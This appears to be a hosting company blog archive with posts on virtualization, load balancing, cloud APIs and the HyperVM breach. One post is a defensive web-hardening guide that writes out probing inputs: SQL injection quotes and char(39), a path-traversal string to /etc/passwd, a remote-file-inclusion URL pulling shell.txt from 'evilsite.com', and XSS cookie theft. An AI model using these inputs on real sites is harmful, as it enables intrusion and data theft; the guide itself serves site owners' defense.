Aug 17

http://techwebinarmaven.com/s/632.load-balancing-in-virtual-server-environments/

No good deed goes unpunished, especially when it comes to IT. As server utilization rates increase thanks to virtualization, the network tends to get punished because where there was once, for example, ten servers there are now 100 virtual servers.

In a Learn How to Virtualize Mission-Critical Applications with VMware and F5 webinar sponsored by F5 Networks and VMware, how to balance application loads across virtual servers is squarely addressed.

Charlie Cano, solution architect for F5 Networks, and Sanjay Aiyagari, a senior partner solutions manager for VMware, take turns discussing how to optimize network traffic using F5 Network appliances that have been tuned to support new VMware technologies, such as AppSpeed, and existing VMware capabilities, such as the Distributed Resource Scheduler.

For instance, F5 Network has added the ability for its products to not only tell VMware that a new virtual machine needs to be spun up, but then also automatically balance network traffic to accommodate that new instance of a virtual machine.

Overall, Cano says the use of F5 Network appliances can result in anywhere from 30 to 50 percent more virtual machine density per physical server because of all the tasks have been offloaded to the F5 Network appliances.

Tagged with:
Aug 14

Virtual private servers provide the cost savings of sharing the server with others yet the guaranteed performance of having a dedicated portion of the server for your site. This delivers a high level of bandwidth and speed resulting in a good user experience and provides more options on which software you can use for your site. Virtual Dedicated Hosting is perfect for small to medium sized organizations with high-traffic sites.

Tagged with:
Aug 11

KVM (Kernel Virtual Machine), the next generation of virtualized technologies, is a recent addition to Linux. KVM provides full virtualization that is currently considered superior to all other full virtualization technologies. It combines support for the latest hardware virtualization capabilities and the rapid feature development of the Linux kernel into a complete, highly functional, virtualization platform. KVM is the only virtualization technology that is fully incorporated into the Linux kernel. With Red Hat’s acquisition of Qumranet, the inventor of KVM, KVM is backed long term by the industry leading Linux distribution provider as well as the Linux community.

With a VPS Server, you will not have this problem since you have unlimited root access because your website is virtually isolated from other clients sharing the server. Other features that make a VPS Server a good choice include more available bandwidth and better data security. Although you are still sharing the server with other clients in a Virtual Private Server, at least you know that there is a portion dedicated only to your files, which means that you have your own operating system. A VPS is more secure because you do not share storage space with other clients. In a shared hosting service, once the security of one customer is compromised, the other clients sharing the same space may also be at risk.

Aug 10

Number 1, If you are using a common CMS Google it with the word exploit make sure your version is not listed

Next try any Get Vars in your scripts and put a ‘ at the end of them what I mean is you have = you add ‘ so it’s yourwebsite.com/page?=’ or any other similar thing not only page= you may also try char(39) rather then only ‘ most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ‘ but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)…  If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use. The following to browse into other places ../../../../ if they wanted to they’d view your passwd file via ../../../../../../etc/passwd

Well right now you’d say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it. Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all…

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.

Ok next were going to discuss the abilities of an RFI and how to block it…
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL httpd:// mod_security will block it.

Ok our next subject is XSS. What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn’t really see it… but when you clicked they could potentially grab your cookie or any current stored browser information. With this they could use your cookie as their own to login as you… maybe even get password information from this cookie.

As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.  You can do this by obfuscating the code using Zend or similar.

Finally, never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.

Tagged with:
Jul 27

Load balancing

Load balancing allows your website to continue performing in the event of server downtime due to server failure or planned maintenance. Managed server load balancing from delivers

  • Load balancing to improve performance through efficient distribution of network traffic
  • Firewalls in High Availability configuration
  • Web servers arranged in active-active or active-passive pairs to provide failover redundancy
  • Database servers replicated or clustered for reliability and performance
  • Improved performance for your website and applications
  • Service continuity in the event of a server failure

Load balancing is fully configurable to meet your requirements. You can specify round-robin, weighted round-robin, least connections or least sessions load balancing methods as well as stickiness based on IP address, cookie, session ID.

Tagged with:
Jul 23

Cloud service host Rackspace is adding API access to its hosted clouds, to give cloud service suppliers more control and flexibility over their hosted servers.

Rackspace offers Cloud Server hosting to cloud service provider customers, using technology from its Slicehost subsidiary. Customers currently manage their servers through a Control Panel GUI.

The coming API, built using a RESTful web service interface, will enable customers to have better control of their server instances in the Rackspace hosting centres. They will be able to write code that programmatically detects server load and scales the number of server instances up and down, for example.

The API introduces features that the Control Panel does not have. One is the ability to specify files when a server instance is created that will be injected into the server file system before startup. Rackspace says this is useful when inserting SSH keys, setting configuration files, or storing data that customers want to retrieve from within the Cloud Server itself.

A second new feature refers to identification of the server host. The Cloud Servers provisioning algorithm attempts to spread out customer virtual machines across hosts. Under certain situations, Cloud Servers from the same customer may be placed on the same host. Host identification allows customers to detect this condition and take appropriate action.

The API also makes it simpler to create shared IP groups and enable high availability configurations. Showing that it is au fait with iPhone popularity, Rackspace customers will be able to manage their clouds with an iPhone

Jul 03

A Xen system is structured with the Xen hypervisor as the lowest and most privileged layer. Above this layer are one or more guest operating systems, which the hypervisor schedules across the physical CPUs. The first guest operating system, called in Xen terminology “domain 0″ (dom0), is booted automatically when the hypervisor boots and given special management privileges and direct access to the physical hardware. The system administrator can log into dom0 in order to manage any further guest operating systems, called “domain U” (domU) in Xen terminology.

On most CPUs, Xen uses a form of virtualization known as paravirtualization, meaning that the guest operating system must be modified to use a special hypercall ABI instead of certain architectural features. Through paravirtualization, Xen can achieve high performance even on its host architecture (x86) which is notoriously uncooperative with traditional virtualization techniques.

Both Intel and AMD have contributed modifications to Xen to support their AMD-V and Intel VT architecture extensions. This has been a significant development because it allows proprietary operating systems (such as Microsoft Windows) to be virtualized since the guest system’s kernel does not require modification when the host runs on Intel VT or AMD-V hardware.

Xen virtual machines can be “live migrated” between physical hosts across a LAN without loss of availability. During this procedure, the memory of the virtual machine is iteratively copied to the destination without stopping its execution. Stoppage of around 60–300 ms is required to perform final synchronization before the virtual machine begins executing at its final destination, providing an illusion of seamless migration.

Jun 17

Everyone these days is now familiar with the hype and buzz surrounding cloud computing. If you’re not, I suggest reading the Wikipedia article! The “cloud” abstracts technology, specifically the hardware from the end-user. It is useful because it means a web developer no longer has to think about disk failures or similar when developing their application – they just need to write their application to be scalable. As long as the application is written in the correct way, a disk failure won’t cause any downtime because their application is hosted on a cloud – and the “cloud” mitigates hardware failure by detecting issues as and when they happen, and migrating live virtual servers (your VDS/VPS) over to spare hardware.

Some of the big players in the market include Amazon’s EC2, Rackspace’s Cloud Servers, Flexiscale plus many others. With the release of software like Eucalyptus, it looks like the marketplace may become even more crowded as barriers to entry fall because less original development will be required to set up your own “cloud” of servers.

Jun 12

HyperVM is a popular piece of software for managing nodes running virtual servers. Unfortunately, over the last few months it has become apparent that the software appears to be incredibly flawed. Security wise, there have been numerous critical vulnerability updates release. Any provider that was slow with their server updates will have found their systems extremely vulnerable to hacking.

Culminating in the recent hack of A2B2/Vaserv/FSCK VPS, where tens of thousands of websites were taken offline on multiple servers by exploiting a serious vulnerability in the HyperVM virtual machine management software.
http://www.theregister.co.uk/2009/06/08/webhost_attack/

Whilst automation is an important detail of an efficient system – it is even more important to ensure that the integrity of that system is not compromised by implementing the automation. In this instance, a single installation of HyperVM with root access to many dozens of servers was compromised. It is important to consider worst case scenarios with any kind of service. What is the absolute worst that could happen to my system? What would be my nightmare?

Think of your nightmare… and then multiply it a few times. Then make a contingency plan.

Tagged with:
May 22

Typical Virtual Dedicated Hosting hardware would involve using a very powerful machine, such that the server when “sliced up” will still offer excellent performance. Typically, you will want to use multiple quad core CPUs with 8GB+ of RAM. However, the key piece of hardware that most people overlook when looking for a VPS or VDS host is that of disks. Hard disks are still the bottleneck in all modern computer systems, and when those disks are busy, the CPU can do little else but wait. You can have all the CPU power in the world but with slow disks, they’ll never be able to do anything useful – especially when it comes to hosting.

We would generally recommend multiple SAS (Serial Attached SCSI) disks in RAID10 configuration. The more disks you have in the RAID10 array, the best the performance overall. Fast disks make for a system that “feels” a lot faster, and will give the edge over systems using much slower SATA disks.

Tagged with:
preload preload preload